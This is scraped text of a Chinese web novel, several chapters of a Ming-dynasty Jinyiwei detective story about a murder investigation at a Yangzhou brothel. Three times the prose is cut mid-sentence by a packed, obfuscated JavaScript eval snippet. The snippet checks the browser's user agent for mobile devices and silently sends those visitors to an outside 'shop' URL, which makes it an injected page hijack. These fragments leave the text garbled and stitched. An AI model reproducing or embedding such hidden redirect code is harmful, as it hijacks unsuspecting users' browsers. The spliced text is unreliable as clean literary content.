l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213878|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年身材颀长,长了一张能亮堂春日的好相貌。眉如墨描,眼似点漆,一双不笑也带三分笑意的眼配着酒窝,即便是心情糟透的方满穗此刻松开了紧蹙的眉头。
兰霜毫见方满穗不答反而揉额头,眉毛一扬,刚想伸手,愣了愣又缩回来,改为挠了挠鼻子:“你头疼了?我给你端碗药去,喝了就不疼了。”
“我没事——倒是你,”方满穗啧了一声,盘起腿来:“你怎么在这?我怎么在这?过来说——诶,你往后退什么?!”
兰霜毫却没听她的,自顾自退到铺盖边缘,一本正经地说道:“我娘说了,我十五岁了,男女授受不亲,不能再和你离那么近了。”
他猛地往左一撤,躲开方满穗探过来的手,嚷嚷道:“干什么!男女授受不亲,不准拉我——喂!”
方满穗:“亲你个大头鬼了嘿,你小时候穿开裆裤我都见过,有什么不准碰的?!”
两个人当即在马车里你来我往过起了招。兰霜毫担心方满穗身体不舒服,没敢用全力,几下就被方满穗勒住了脖子,气得少年脸都红了:“干什么干什么!!没天理了,女子怎么也当流/氓——”
“闭嘴!扯什么蛋!”方满穗捏住兰霜毫还带点婴儿肥的脸颊,往两边用力一扯:“快!坦白从宽抗拒从严!!到底怎么回事嗯——!!”
兰霜毫疼得眼里蓄了两泡泪:“诶诶诶诶诶诶!!”
“师父——师父让我娘亲带你回家呆一阵,说他走的时间太久,舍不得你一个人呆着,”少年的脸蛋被方满穗揪得通红,说话都要口齿不清:“真的!真的!快松手啦!”
百斛喵嗷一声,垫着脚轻快地溜出了门帘。
“我爹让兰姨带我回你家?”方满穗蹙着眉头,缓缓松开手。少女秀美的脸上全是带着不满的愤怒:“他怎么又不和我商量就这么干!”
兰霜毫嘴里嘶声不断,揉着自己被捏疼得脸皮,闻言啧了一声:“我怎么知道,反正当时师父传讯还挺着急的,娘暂时脱不开身,就让我来接你了……哎,哎!”
他好像一下子遗忘了刚才说的“男女授受不亲”,往方满穗身边挪了挪,胳膊肘怼了一下她:“怎么回事?师父没和你说吗?你家里怎么有一群锦衣卫啊,看上去要把你俩押解进京似的……”
“我怎么知道,我爹什么都不和我说!”方满穗烦躁地揉了两下发顶,暴躁地一拳锤在了马车地板上,兰霜毫肩膀一缩,清晰地听到了咯吱一声:“等他回来,我就没那么容易原谅他了!!”
“你拿马车撒什么气嘛,还要赶路呢……”兰霜毫嘟囔着,默默远离“危险区域”,轻手轻脚地撩起帘子往外挪:“这话听上去跟你才是师父爹爹似的……”
方满穗头一扭,带着杀气的眼神飞刀似的扔过来,兰霜毫刚才还乌龟挪窝一样的动作瞬间变快,“嗖”一下消失在门帘之后。
满心的恼火没出发,现在爹爹估计都不知道走到哪里去了……方满穗扁着嘴,又使劲锤了一下床铺,这才像泄了气一样的往后倒在了被褥上。
她支起一只手挡在额头前,心里乱遭的情绪左冲右突,直戳得心脏也带着丝丝疼痛。
这次事情关乎锦衣卫,绝不可能是什么江湖恩怨情仇这码子事儿……看那来者不善的样子,爹爹会吃亏吗?爹爹会受伤吗?从前出门儿从来都没让她躲去兰姨那里……
“唉,爹啊,”方满穗胸口充斥着一泡酸涩的苦水,直叫她眼里也沁出一层水雾。她用力抹了一把脸,声音里带着一丝丝强行遏制的难过:“到底发生了什么啊?”
4. 青楼案(1)
夏末,扬州府。
陈松睿抬手撩开了马车窗帘,让窗外的阳光洒进车厢。他重伤稍愈,脸色比起半月前红润了不少,星子似的瞳仁被睫毛半遮半掩,正饶有兴趣地看着外面来往的行人。
十里长街市井连,月明桥上看神仙。
他身边坐着瘦削不少的王大人。王大人侥幸捡回一条命,全身上下最重的伤就是不小心擦伤的油皮,这段时间对锦衣卫上下亲和不少,与陈松睿相处,竟是已经开始称呼他的表字。
王大人泡好一壶茶,见陈松睿出神儿看窗外,抚须一笑:“这扬州城历来繁华,往来商贩络绎不绝。若是赶上节日,摩肩接踵,马车在街上都寸步难行。”
“我从未来过江南,头一回见,有些新鲜。”陈松睿的眼神在桥下卖莲蓬的小贩处停留片刻,便笑着转过了身:“王大人来过江南吗?”
王大人抬手将茶杯轻轻端到陈松睿面前,做了个“请”的姿势,才笑着说:“自然。年轻时候游学曾经来过,当时有旧友在,便多停留了些时日。”
他与陈松睿随口聊了几句,又像是随口提到:“说起扬州城,我知道一处好去处,他们家做的软兜长鱼极为鲜美。现下正是黄鳝鲜嫩的时候,不知雅端意下如何?”
马车外的阳光还带着点燥热,泥土的芬芳带着光下细小的烟尘,一起飘进了马车里面。
陈松睿垂着眼,用茶杯遮掩住自己一刹那下撇的嘴角,慢条斯理地饮了一口茶,才嘴角噙着笑:“路上闷了几日,早便想四处逛逛,若王大人能带路,自然是好的。”
王大人朗声大笑数声,又为陈松睿斟了一杯茶,带着点殷勤:“广陵楼附近临近怡红院,夜晚也是个好去处!”
陈松睿脸上带着温和的笑,并未回应,只与王大人相互一敬。朴素的马车压过被苔藓描边的青石板路,沿着市井气儿一路往深处走去。
#####
夜市千灯照碧云,高楼红袖客纷纷。画舫推开江上漂浮的华灯,满载着酒池肉林的香味飘过来。
香粉味儿铺天盖地,姚姜刚走进这条街就不停地打喷嚏,口水不小心喷了姬沧远一身。
“抱歉——阿嚏!”她一个道歉还没说完,险些又往姬沧远身上喷些新的,赶紧把头扭开。姚姜深深吸了吸鼻子,捂着脸,声音模糊地冲着走在前方的陈松睿抱怨道:“老大,为什么真的来这里?我一直以为你就是客气几句。”
走在最前的陈松睿穿了一身黛色直裰,头发随意簪起,手里还拿着一把折扇。他闻言,摇扇子的手顿了顿,“刷拉”一合,扬起一边的眉毛,似笑非笑地看着姚姜:“怎么,老大请客你也不来?”
姚姜及时捂住了自己的喷嚏,用力吸着鼻子,嘴里却毫不留情地说道:“扯淡吧,你啥时候干正事儿的时候请过客?”
一直在旁边默不作声的姬沧远倒是插了一句:“是因为那个王大人吧。”
陈松睿这次倒是真笑了起来,用折扇轻轻拍了拍姬沧远的肩膀:“长进了。”
“这人在朝中向来清正廉洁,是个纯臣,当年我长兄与他一起在大理寺当值,兄长夸他做事利索,比起那些迂谈腐论的老顽固好不知多少,什么时候又是‘请客吃饭’又是‘逛青/楼’?”
陈松睿一边往前走一边眼观六路,嘴里也不停:“搞不懂这人究竟想干什么,不过他今天反复提到了‘怡红院’……唔。”
他脚步一停,随行的两人也同时停步。
“到了。”陈松睿嘴角带笑,背着手仰起头,看向那金墨描摹的牌匾。暗红色的光芒将他浓黑的眼珠染上几分猩红色,一时间,他好似刚从话本爬出的艳鬼。
不过很快,陈松睿就收起带着讽刺的笑,一整衣袖,快步向里走去。
这怡红院比起那些门口扎堆漂亮姑娘的地儿雅致不少,肉眼所见的姑娘们都穿的整整齐齐。穿过雕花大门,灯火通明,照得人眼前一亮——
三层楼高的巨大树形花灯矗立在大厅正中/央,从房顶上垂下无数绸带,装扮成仙女儿的女孩们在花灯树枝之间穿梭,还有几个年纪更小的坐在树枝上,手里捧着果子样儿的灯笼,正冲着路过的人们殷勤地笑。
神霄绛阙,楼生蒿莱。
楼里的香薰也下了功夫,花香混杂着一点果香,直熏得人心旷神怡,那酸甜味的果香让人唇齿生津。
陈松睿一行人刚进来没多久,就被一个点头哈腰的小厮满脸堆笑地拦住了。
那小厮一眼看到了陈松睿,眼神从他用料考究的衣着滑到了他腰带上的帝王紫腰带扣,再到那坠着的玉佩上挂着的东珠。不过几息他便收回了目光,那眼神闪亮得仿佛看见了亲祖宗:“诶呦~几位是听曲儿还是留宿啊?”
陈松睿也收回了四下环顾的眼神,微微垂下眼睫,嘴角噙着笑说道:“听曲儿是怎么听法,留宿又是怎么留法?”
那小厮从怀里取出一卷被红色丝带捆住的纸递给陈松睿,毕恭毕敬地笑着:“这是我们楼里的规矩,客官您可以自由选择,席面处有纸笔,您可以在‘听曲’和‘留宿’处打圈就好。”
他说着让开道路,伸/出手做了个“请”的姿势,示意几人可往花灯附近的食案处去:“请贵客就席,稍等片刻后会有人前来收起您手里的纸。”
姚姜和姬沧远打扮成侍卫模样,自然是坐在了陈松睿的身后。陈松睿盘腿坐在席上,双手搓动,将那卷纸打开来——
然后被这内容惊得微微一挑眉。
这纸与他所设想的完全不同,似乎是做成了一张画,但又不似画。中间是大厅中/央熟悉的花灯树,左上和右下分别写了大字“听曲儿”和“留宿”,大字旁又整整齐齐列上了解释的内容。那花灯树的画被一道空白截成两半,空白处笔走龙蛇,潇潇洒洒“怡红院”三个字。花灯树树干的左边还写有一小列小子儿“如若不选,则可在大厅处享用酒席后离开,勿忘付款。”
“这……这画儿着实有趣。”陈松睿用手指在怡红院三个字处点了点,对着前来收纸的小厮笑着说道:“这画儿是谁画的?倒是十分有趣,可是哪位隐姓埋名的画师?”
小厮捧着一套笔墨弯腰站在陈松睿身边,这次却摇摇头,颇有些苦恼地说道:“小的也不知道,这是我们东家做出来的。诶,您看,您是听曲儿……还是留宿啊?”
陈松睿斜乜着小厮,眼神似乎把他的皮囊扒拉了个遍,直叫人哆嗦着低下了头。但他很快又带上了一脸的笑,拿起小厮托盘里的笔,在听曲儿和留宿上重重一圈。
末了又随手拿出一锭五十两的金子抛到了托盘上,身体往小厮那里侧过些许,笑眯眯地问道:“这酒席,我必须在大厅享用吗?”
小厮闻弦歌而知雅意,脑袋摇成了拨浪鼓,笑得见牙不见眼:“诶呦~怎么会怎么会,贵客,您想怎么看,就能怎么看!要是您嫌这地儿不够宽敞,小的就让当家的把地儿拆了给您腾腾位!”
陈松睿朗声笑了几声,用手指了指这抖机灵的小厮:“好一张嘴!”
“美人遥睇木兰船,一/夜相思隔春水。”陈松睿状似漫不经心地往后一瞥,冲着姚姜使了个眼色,又转过了脸,用扇子敲了敲小厮的托盘,而他则蹙着眉,似乎带了点忧郁:“花前月下的,怎能和这俩煞风景的呆在一起?”
小厮“诶”了数声,点头哈腰的:“您就放心吧!我这就回了掌柜的!”
陈松睿带着笑,注视着小厮一溜烟跑远了。姬沧远往嘴里扔了块果子,瞄了一眼那小厮,吐槽道:“诶,看这动静,这人怕不是把老大当成祖宗了。”
姚姜嘴里在咀嚼着东西,说话有些含糊不清:“他会不会直接把一堆美人全扔给老大吧?会吧?我想知道最好看的姑娘有书荷好看吗?”
陈松睿喝茶的动作一顿,额角似乎冒出一根青筋:“你们还记的来这干什么吗?!怎么还吃上了?!”
姬沧远从随身的小布袋里掏出果干塞进嘴里:“可是吃不饱没法干活啊老大,你是爽了,可我们还得干活呢……”
陈松睿:“这话说的好像我少了你们钱一样!!吃的什么,给我一点!赶紧的!”
小厮身后跟着一个衣着华丽的中年女子,正一溜烟的跑过来。陈松睿硬是在两人来到之前从姬沧远那里抢到了一块绿豆糕,一侧身,头一转,脸上又重新带上了那副被风月浸染已久似的笑容。
“诶呦客官!”老鸨挥舞着水红色的手绢,声音掐得又尖又嫩,直把陈松睿剌出一层鸡皮疙瘩。她娇笑不断,往陈松睿身边这么一坐,直把呆在她侧面的姚姜熏得又是一个大喷嚏:“敢问贵客尊姓大名啊~是第一次来?那老身可得好好给说说~”
老鸨身上的熏香比起街上的味道有过之而无不及,即便是陈松睿,也被这过分厚重的花香味熏得大脑卡壳儿。他勉力维持着笑容,竭力放缓了呼吸。老鸨的声音在耳朵里化成叽叽喳喳的杂音,他闭了闭眼睛,好一会儿才终于找到了自己的声音:“……你们……咳!”
他一声咳嗽,总算让嘚啵嘚的老鸨暂时闭上了嘴。陈松睿不动声色地舒了口气,缓了缓自己被熏得难受的心脏,带上了点笑容:“你们这里最貌美的姑娘是哪个?”
老鸨的笑容一顿,眼睛往旁边撇了一下,用手帕遮了遮嘴唇:“唉……不瞒贵客,我们这儿的头牌是虹霓姑娘。只是这几日身子不爽利,实在接不了客。”
陈松睿眉梢微微一挑,便看到老鸨挥了挥帕子:“也不怪老身多嘴。这两日虹霓姑娘歇着,不知多少人惦记呢……只是我们这儿姑娘多,多少能帮衬些……您看,您要不换一个?”
“虹霓姑娘是吗?”陈松睿稍微加重了些语气,停了片刻才带着点遗憾:“唉,行吧,我也不是什么不讲理的人。”
老鸨估计第一次见到这么好说话的客人,眼里甚至带上了点泪花。她赶紧站起身,使劲一拍身边的小厮:“没眼力见儿的东西,还不赶紧去叫素潭姑娘!诶呦,客官这边请!”
陈松睿又指了指身后的姚姜和姬沧远:“也烦劳给我这俩侍从单独安排上席面。”
老鸨简直成了精,立刻就明白了陈松睿的意思——嘿,这不就是嫌弃两个侍从碍事嘛!她招招手叫来另一个杂役,嘱咐着给姚姜他们带去单独的包厢。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213879|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
五十两金子让周围的人全都自愿塌下了脊梁,仿佛他们三个是个拜一拜就能吐钱的金蟾,连姚姜这没女扮男装的女侍从都没人投来奇怪的眼神——当然也可能是因为她身边佩戴的长刀。
陈松睿站起身,身上黛色的衣衫荡出一阵水墨画似的水波。他随意理了理衣袖,一举一动间皆诠释了“定非尘土间人”。
他脸上恰到好处的温柔笑容缓和了过于锋锐的五官线条,真是芝兰玉树的人儿。老鸨这见惯美男子的风月老手都被陈松睿晃了晃神儿,心下不由得唾了一口,暗道一声姑娘好运气!
“您这边儿来,”老鸨下意识扶了扶鬓角,手绢一甩,袅袅婷婷地带着陈松睿上了楼。
姚姜抱着双臂站在姬沧远身后,舌头拱着腮帮子,站得吊儿郎当的。直到两人往楼上走,她才啧了一声,前倾着身子气恼道:“你给了我啥糖啊姬沧远——粘在我后槽牙上掉不下来!”
姬沧远默默地回头,姚姜“噫”了一下,嫌弃地看着也在默默舔牙的某人。
“活该!”她小声抱怨道:“早就告诉你了那个铺子的糖粘牙!”
#####
老鸨一直将人送到了一处临江的包厢,才退出去让几位姑娘进来。
“姑娘们好好伺/候着~”老鸨说道,冲着门外使劲挥挥手帕。
流水的珍馐被送上来,陈松睿摇着扇子,眼里浮着一层心满意足,嘴角的笑意却又拉扯出尖锐的弧度。
看啊,这扬州。他放在桌下的手攥成拳,心里冷漠地想着:这一桌席面也不比御膳差到哪里去了。
几个姑娘身条绰约多姿,扭着腰肢飘了进来——陈松睿微微避开了一个姑娘的娇/声劝酒,掀起眼皮,很快便留意到了坐在角落的女子。
她穿了一身水绿色的纱裙,秀美的脸上不着粉黛,眼眶有些红。她头发上直簪了几只成色一般的玉簪,此时正避开陈松睿的眼神,独自抱起了角落的琵琶。
“我为公子奏一曲吧。”那姑娘声音娇娇弱弱的,眼神无意识和陈松睿对上,又赶紧移开了目光,惊慌失措地像只小鹿。若陈松睿是什么“怜香惜玉”的人,这会儿只怕骨头都酥麻了,不得将人捧在手心。
可惜,陈松睿的心肠比铁石还冷硬。
他哈哈一笑,两手一拍,当即说道:“那便来一首阳春曲吧,唱得欢快些!”
姑娘浑身一颤,尽力露出一个笑,轻声“诶”了一声,手腕一扫,声若玉磬,流云似的歌声咿呀婉转:“兰芽柳眼妆春,转绿舒青。涂香晕色,佳景清明……”
陈松睿微微阂上了眼,似乎被这清脆悦耳的歌声勾去了魂儿。他随手执起了酒盅,另一只手在膝盖上打着节拍,微微晃着身子,巧妙地躲开了想要喂他酒水的女子。
几个女子争先恐后凑近了陈松睿,好像他身上的香味拢一拢,能值几两银。可惜这金尊玉贵的公子哥儿活像个入定圣僧,除了手里的扇子和酒盅,半点不愿碰一碰这满屋的芙蓉面和杨柳腰。
可大概是这女子心中的悲痛太多了些,本是首明亮的曲子,这春机盎然硬生生被唱成了死气沉沉,即便是满屋的烛光也让人后脖子汗毛直竖。
陈松睿嘴角噙着笑,把/玩着酒盅的手猛地往地上一掷。
“啪!”
屋中的莺莺燕燕瞬间消声,各个坐回了自己的位置眼观鼻鼻观心。抱着琵琶的女子更是被吓得手一抖,险些把琴弦扫断。
陈松睿的笑渐渐落了下来。他把扇子往桌子上一丢,掀起眼皮,声音里好似滴落着冰水:“来我这号丧呢?”
“好好一首阳春曲,被你号成了夕阳箫鼓。”陈松睿曲起一条腿,用手支着额头,似是烦恼地闭上了眼:“没得叫人膈应。去,将老鸨叫来,怎么的,我这五十两金子是买我命来的?!”
“客官!”
那女子丢下琵琶赶紧扑上来,强颜欢笑道:“是奴……是奴的错,奴重新给您唱曲儿,您——您消消气儿!”
她说着端起一杯水酒,微微侧着头,露出自己一截细嫩的脖颈,小心地递给陈松睿:“客官您消消气儿,叫奴做什么都行……奴给您重新唱一曲儿,唱奴自己写的曲儿如何?”
陈松睿浓黑的眼珠一错不错的看着女子,没有接她的酒盅,反倒把人看出一头白毛汗。直到那女子手臂微微颤/抖,快要把酒水洒出来,他才慢悠悠地张口说道:“我倒是好奇。这赚钱的好机会,你的姐妹们各个争着抢着,怎么到了你反而对我避之不及呢?”
陈松睿似乎是好奇,倾身而去,像是要仔细盯着脸蛋看,直把那女子逼得往后缩了缩:“我是长成了什么样,居然让你退避三舍?”
女子眨眨眼,赶紧带上了笑,却被陈松睿抢了白。他往后靠在了靠背上,用手轻轻揉着太阳穴:“我这人向来不强人所难,既然姑娘你今日心情不爽利,那就换个人吧。”
女子的后背骤然绷紧,急忙膝行几步,眼中含/着泪水,想要再说些什么,门口却骤然炸了锅,骤然响起的争执声像冷水入热锅,其中尖锐的鸣叫险些将桌上的琉璃盏震碎:“死人啦!!!”
5. 青楼案(2)
这一声穿云裂石,连大厅的靡靡之音都被吓得截断。陈松睿猛地抬起头,面上方才还挂着的笑容水雾般的蒸发,潜藏于风月之下的某种气质浮出水面。
陈松睿分辨出了其中来自姚姜的怒吼声,一甩衣袖站起身,顺手将袖中的锦衣卫令牌拿出来,低喝道:“锦衣卫办案——站住!”
“啊!!!”
手已经摸到门的女子惨叫一声,小腿被一道内里裹挟的酒液集中,原本嫩生的皮肉瞬间青紫透黑,已经被活生生击断!
陈松睿随手拂了拂衣袖,几步掠过了那女子走出了门。他敛去了喜怒,他像一个可以随心主宰人生死的神明——好像随手打断腿的人不是他似的。
“怎么回事?”陈松睿刚出门,眼神就撞上了拐角跑来的姬沧远:“哪里死人?”
姬沧远本以为自己会遇到个醉玉颓山的美男子,着实被清醒且“独善其身”的老大吓一跳,闻言赶紧让开路,一面小声说道:“死了个花魁,叫虹霓的那个。被发现的时候躺在床上,脸都被划成了破布皮……姚姜带着人在探查现场呢。”
陈松睿点点头:“行,看紧些,别让谁溜了——老谢死哪去了,你没发信号吗?!”
两人说话间已经到地儿,门口守着的小旗急忙行礼。陈松睿余光撇见了匆匆赶来的老鸨,将握在手心的令牌亮了亮,斜乜着人说道:“锦衣卫都指挥使领北镇抚司镇抚使陈松睿,锦衣卫办案,还请行个方便。”
老鸨“啊”一声,浑身一僵,哆嗦着“扑通”跪地,连连张了两三回口,才终于憋出一句哭腔:“冤枉、冤枉啊!”
姚姜一抚腰间绣春刀,凤目刮刀一般略过周围人的脖颈,直把周围人看成一片缩脖鹌鹑,高声喝道:“任何人不得离开,统统回到原地——任意离开者视为凶犯,格杀勿论!”
一声“格杀勿论”,楼里更是落针可闻,人人跪伏,呼吸都放缓,生怕喘气声儿大点,直接被那凶神恶煞的锦衣卫送去见阎王。
老谢也终于领人来到,一众锦衣卫很快控住了场面,凶悍气场下无人不耸肩缩背,双股战战,各个在地上恨不能把自己团进地皮里,哪里还有半点莺歌燕舞、纱窗绮幔暗闻香的风月样儿?
老鸨本看这公子出手阔绰,芳兰竟体,风姿更是烟霞色相,原想着好好捞一笔,说不定还能发展成个长久饭票……这下倒好,饭票泡汤,那五十两金子怕不是给自己买命的!
她被那一连串的官职名吓得软成烂泥,囫囵哭了好几声“冤枉”才被龟/公扶着站起身,全身抖如筛糠,上下牙碰得咯吱响:“大……大人……”
陈松睿还是那副静潭深水似的微笑,笑得老鸨差点当场尿出来:“本官不叫‘大……大人’。”
老鸨嗷一嗓子,险些把老命嚎尽:“老身——老身什么也不知道啊!”
“知不知道,你说的不算。”陈松睿弯弯唇,站直身子,背着手:“沧远,怡红院的人一个不落全都带走,剩下的你和阿姜把把关,该放的放,该抓的抓。之垣!”
姬沧远领命离开,陈松睿背手站着,几息过后,只有脚步声和姚姜吩咐下属的动静。他蹙了蹙眉,声音又提高了一点:“之垣——林奎之——林!奎!之!”
“在!!”
黑影瞬间从天花板上“嘭”得落地,活像天上掉下个大马猴——林奎之差点把哭倒在地的老鸨砸得更扁,踉跄几步,险些把跪在地上的杂役一脚踢得囫囵滚一圈。
这人生得高大壮实,浓眉大眼的正气十足,即便穿了一身飞鱼服也难让人生出什么恐惧来——就是这会儿简直把能出的洋相全出了一遍,“千辛万苦”来到了陈松睿面前,跟没看到老大额角蹦跶的青筋似的,行礼说道,中气十足:“老大我来了!”
陈松睿被他的大嗓门震得闭了闭眼,使劲抿了抿嘴唇,又深深吸了口气,总算勉强让自己心平气和地说出声:“你……你和我一起去案发现场。”
林奎之:“是!”
周围头贴地面的人不敢挡路,让开一条长长的道。陈松睿衣衫带起一阵小风,用扇子拂开了挂门的珠帘,先被冲鼻的熏香呛了个跟头。
那香味比起厅堂更胜一筹,活像冲着人鼻子来了一拳,揍得陈松睿险些崩了沉着的脸色。
“这破地方!”他咳嗽着,心里愤怒地吼道:“我走之前非得把顶儿掀了通通风!”
“老大。”消失了半天的姚姜从门里小跑迎上来,瓮声瓮气地说到,小巧的鼻子里塞了两大坨棉花:“脚印、指痕什么都没有,也没发现其他的凶器。花魁那柜子里翻得个底朝天,奇怪的是私房钱居然没被拿走……”
陈松睿不动声色地封了自己的嗅觉,这才觉得被香味塞爆的脑袋终于清爽起来。他一面冲姚姜点点头,一面迈步往里,微微偏头问道:“老谢在里面?”
几个锦衣卫正用白布遮面,围着尸体仔细检查,为首的中年人听到了陈松睿的声音,当即从尸体旁站起身:“老大!”
他身形魁梧,胡须已经有些花白,正将手上的刀子扔给下属,几步凑到了陈松睿身边,低声汇报:“这人是被人于一个时辰前活活勒死的。身上的衣物繁琐,还没来得及全部解开,属下这就——”
“不用解开,”陈松睿摇摇头,面色沉了下来:“这人不是虹霓。”
老谢汇报到一半卡了壳:“不、不是?!”
死者被平放在地上,血迹浸满了遮面的白布。陈松睿绕着人不紧不慢地走了一圈,忽然伸手敲了老谢一个脑瓜崩。
“眼睛不好使了?”他用下巴点了点:“脚比鞋子大了太多,都快要撑破了——养在青/楼里的花魁怎么可能会有这么大的脚?还有那双手,”
陈松睿双指并拢,运起内劲敲在死者左手手腕,动作流畅,直将垂下的袖子荡起一阵波澜:“哪个花魁手里有茧子?”
老谢“嘶”了一声,几步走过去,蹲下仔细一瞅,又是一声“嘿呦”:“我去,还真是!”
仔细
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213880|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看去,那人手掌心处的厚茧十分明显,一双手骨节粗厚,分明就是双常干活的手!
那双险些被撑破的绣花鞋也被锦衣卫小旗扒下,露出一双指甲黄褐、满是死皮的大脚。姚姜“噫”了一声,啧啧赞叹道:“这绣花鞋是谁家的?这都撑不烂,确实是好料子做的。”
姬沧远拔出绣春刀,小心拨了拨死者两腿之间,抬头汇报:“老大,是男的!”
一个男人被塞进了花魁的衣物里,就这么不明不白的死在了青/楼里,还偏偏挑在了今天——陈松睿一声冷笑,笑得身边的老鸨好不容易站稳的腿又一抖,“咚”一声瘫倒在地上。
林奎之见老大扭头看向他,适时走上前,小声说道:“王大人今天回了屋之后就再没动静,我走之前让几个兄弟继续盯了,那老东西睡着呢。”
“那看来这件事儿就是王大人想让我们看的了。”陈松睿点点头,脸色有些阴沉。他四下看了看,眼神从匍匐在地的人们,他们那战栗地后背和滴入地毯的冷汗都被收入眼中。
他脊背挺直,像空山中被雪淋满身的孤松,寒意从脚底蔓延。
这到底是想让他看,还是做给他看?
这人身形瘦小,手中有剑茧,怕不是个被灭口的杀手!
虹霓在哪儿?这怡红院又是什么地儿,又是谁在深水之下——
都指挥使不说话,周围人嘴都不敢张,各自收敛着动静埋头干活。直到姚姜搬来一张扶手椅,又送了一杯茶水,陈松睿才终于动了动。
“之垣,去把王大人叫起来。”陈松睿嘴角扯出一道锋锐的痕迹,扇子重重一敲手心。他撩起衣袍后摆,动作行云流水,直将袍子带出一阵涟漪。
说罢,他歪在太师椅里,支着额角,微微蹙着眉,嘴里话却半点没有留情:“怎么能让我们独自逛青/楼呢……太不尊老爱幼了不是?”
#####
临近亥正,怡红院回响着四周传来的丝竹之乐,静如万丈深潭之下。陈松睿歪在太师椅中,手指点着太阳穴,在从容不迫的脚步声中睁开眼睛,正对上缓步走来的王大人。
深夜前来,王大人衣着得体,脸上半点没有酣睡的困意。他早就收敛了一路上常常挂着的殷勤笑容,风霜侵染的脸上亮着一双星子似的眼睛。
繁丽星天,芒寒色正。
他慢慢停下,身姿渊渟岳峙,松柏似的矗立在陈松睿面前,沉声说道:“雅端深夜唤我,所为何事?”
眼神在半空中相撞,王大人眼神澄澈,毫不畏惧地迎面对上了陈松睿带着试探的眼神。
陈松睿放在膝盖上的手攥了攥,“哈”了一声,嗤笑出声。他坐直了身子,突然又是一笑,边笑边摇头,声音里无端染上了几分苍凉。
可还未待人分辨,他又是用力一拍扶手,将在场数人吓了一吓。
“自然是请王大人来怡红院潇洒了!”陈松睿蓦然收了笑声,拍了拍手:“老鸨,人呢,还不赶紧为王大人奉上歌舞?!”
6. 青楼案(3) 老鸨抖如筛 7
老鸨抖如筛7糠,被搀扶着站在了陈松睿身边,大声喊道:“上、上歌舞!”
王大人皱起眉,急忙往后一闪,险些被水袖抚到了脸上。
陈松睿则端起茶盏,呷了一口,饶有兴趣地盯着众花丛中有些不知所措的王大人。
几个姑娘带着面纱,围绕着王大人跳起舞来。美人舞如莲花旋,飞袖撩香,花钿乱光,英英妙舞腰肢软。若是旁人,不说被撩得意乱情迷,少说也要面红耳赤,只有王大人入定似的站在中/央。
他垂衣拱手,面无表情,但眉目间已经蓄起了一层怒气。半晌,他闭了闭眼,怒气乍然撒了满脸,倏地大喝一声——
“够了!”
美人们惊慌站直,各个躬身退到一边。王大人仰起头看向品茶的陈松睿,声音中带着隐隐火气:“陈雅端,这是做什么?!”
陈松睿“哦”了一声,笑得眼睛都眯了起来。他总算坐直了身子,手指轻轻地敲着扶手,毫不在意地笑着说:“您在路上提了那么多次……是我妄自揣测,以为您急不可耐呢。”
“既然没有急不可耐,那不妨请王大人为我解惑。”
他站起身,背着手,站没站相,活似骨头酥了两斤半,可那笑容似乎滴着涎液、冒着血腥味,即便是王大人也没忍住往后退了一步。
“王大人为何在路上提那么多次怡红院,却在来之后碰也不碰?”陈松睿一步步走下台阶,啧了一下:“知道的,还以为王大人是想和我搞好关系,不知道的……”
他又嗤笑一声:“还以为王大人忘了自己御史身份,酣歌醉舞呢。”
“酣歌醉舞?”王大人冷笑一声,语调不屑的重复了一遍:“敢问陈大人,来这怡红院是受我胁迫吗?这怡红院可不止在扬州出名,前几年还传出什么‘江南行,怡红院,不来此地枉江南’的——”
“说的好!想不到你王大人还知道这种传言,”陈松睿根本不给王大人说全句子的机会,再次嬉笑着打断。他歪着头,皮笑肉不笑,好似面前囫囵人儿是个从箱子里跳出来的皮影:“不妨说说,王大人从哪里知道的?”
王大人反应迅速,用力一甩袖子,沉声说道:“本官管的了自己的心,难不成还管的了别人、管的了那些污言秽语不入人耳吗?!”
陈松睿哼出一声意味不明的鼻音,在尾音处转为嗤笑。他摇了摇头,背手转身,绕着王大人跺起步来,每一步都踩得极稳:“哦~王大人自然是出淤泥而不染,就是这污言秽语倒是记得清清楚楚。”
“君子不以言举人,不以人废言,”王大人声音四平八稳,半点没被陈松睿言语中的血腥气吓到:“陈大人难道就要用一句话为我定罪?”
陈松睿脚步一顿。他在王大人侧后方转过身,眼神狠厉,若是此刻眼神泛起绿色荧光、嘴角留下涎液,只怕王大人早就被他撕成了碎片。
“吓死我了。”高大的男人没什么诚意地说道,笑声能把人汗毛都刺得炸起,低醇的声音好像围着人脖颈子转了一圈:“这话说的,我一个小小的锦衣卫,又怎么能对朝中清流、忠肝义胆的王大人做什么。”
“但是前脚王大人刚要来这,这后脚就出人命……”他摇头晃脑地掠过了王大人,一步步走回太师椅:“来来,阿姜,去,将王大人请去房间里,恭敬地、客气地好好问问,仔细问问。”
他在“请”、“恭敬”和“客气”上加重了语气,不自觉将这句话念出了几分滑稽的味道:“千万,千万别气着王大人,别吓着王大人,知道吗?”
陈松睿脸上还是那副温和的笑,又歪回了椅子里,翘起了二郎腿,眼神里却半点没有笑意:“若是王大人出什么事儿,我就把你刮了剁碎,为王大人墓碑前添份儿饺子。”
